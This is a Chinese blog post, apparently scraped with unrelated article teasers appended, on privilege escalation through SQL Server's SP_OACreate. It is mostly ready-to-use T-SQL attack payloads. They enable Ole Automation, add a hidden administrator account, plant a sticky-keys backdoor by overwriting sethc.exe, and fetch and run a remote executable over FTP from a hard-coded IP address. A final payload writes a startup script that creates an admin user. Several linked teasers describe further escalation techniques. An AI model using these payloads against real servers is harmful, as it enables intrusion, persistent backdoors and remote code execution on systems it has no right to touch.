SP_OACreate提权经验
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
首先EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;打开组件,2005中默认关闭1)直接加用户2000系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add' xp和2003系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add' 2)粘贴键替换declare @o intexec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';declare @o intexec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';需要同时具备sp_oacreate 和sp_oamethod 两个功能组件3)直接传马DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--4)启动项写入加账户脚本declare @sp_passwordxieo int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo outexec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';5)如果该服务器有网站,则直接用方法4)写入一句话SP_OACreate提权经验的更多相关文章
- [转载]SQL Server提权系列
本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...
- 网站sqlserver提权操作
在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...
- 一次利用MSSQL的SA账户提权获取服务器权限
遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...
- WIN提权总结【本地存档-转载】
[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...
- MSSQL 漏洞利用与提权
1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...
- soap注入某sql2008服务器结合msf进行提权
原文作者:陈小兵 在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提 ...
- 暴破助攻提权:ruadmin
i春秋作家:yangyangwithgnu 1 缘由 千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路 ...
- 1433修复命令大全提权错误大全_cmd_shell组件修复
net user SQLDebugger list /add net localgroup administrators SQLDebugger /add Error Message:未能找到存储过程 ...
- 滥用DNSAdmins权限进行Active Directory提权
0x00 前言 除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成.默认情况下,域控制器也是DNS服务器; 大 ...
随机推荐
- xcode9报错 Safe Area Layout Guide before iOS9.0
运行工程的时候会遇到 Safe Area Layout Guide before iOS9.0 这是因为xcode9 storyboard的设置里面多了 个 Safe Area Layout Gu ...
- html5 ajax 文件上传
http://html5demos.com/dnd-upload 看这个例子看了一会儿...这个是支持拖拽的上传. 下面代码是一个简单的ajax的文件上传: function match(url,rs ...
- SharePoint 2013 启用 查看PDF功能
SharePoint 2013 默认不能直接Online (注:此Online非OWA概念,而是可以实现直接调用客户端软件实现对文档的编辑,保存之后同步上传)打开PDF(SharePoint 2013 ...
- [golang] Glide 包管理
一.概述 golang的包管理工具有很多,本篇幅主要介绍glide进行包管理. 二.安装及命令介绍 go get github.com/Masterminds/glide glide create|i ...
- Viola-Jones人脸检測
OpenCV中有一个基于树的技术:Haar分类器,它建立了boost筛选式级联. 它能够识别出人脸和其它刚性物体. 对于检測"基本刚性"的物体(脸,汽车,自行车,人体等)这类识别任 ...
- Android 调试利器:Stetho + Chrome
简介 Stetho 由 Facebook 开发的一款查看 Android 数据库.SharePreference.网络拦截器的利器,通过与 Chrome 的配合使用,使 Android App 开发过 ...
- java基础知识总结1
一. java开发工具 Editplus:Editplus与jdk的连接配置.如:javac(编译).java(运行).javap(查看字节码) a) 配置内容: i. javac(编译):參数为 - ...
- asp.net mvc中的用户登录验证过滤器
在WEB项目中建立 类: public class LoginFilter : ActionFilterAttribute { public override voi ...
- IOS 学习 Key-value coding
1 前言 本节我们主要介绍键值编码,以及如何使一个类符合KVC编码. 2 详述 键-值编码是一个对于间接访问一个对象属性和关系使用字符标识的机制.它支持或者关系几个特别的Cocoa编程机制和技术,在C ...
- vivado保存debug波形
vivado保存debug波形 Vivado下debug后的波形通过图形化界面并不能保存抓取到波形,保存按钮只是保存波形配置,如果需要保存波形需要通过TCL命令来实现: write_hw_ila_ ...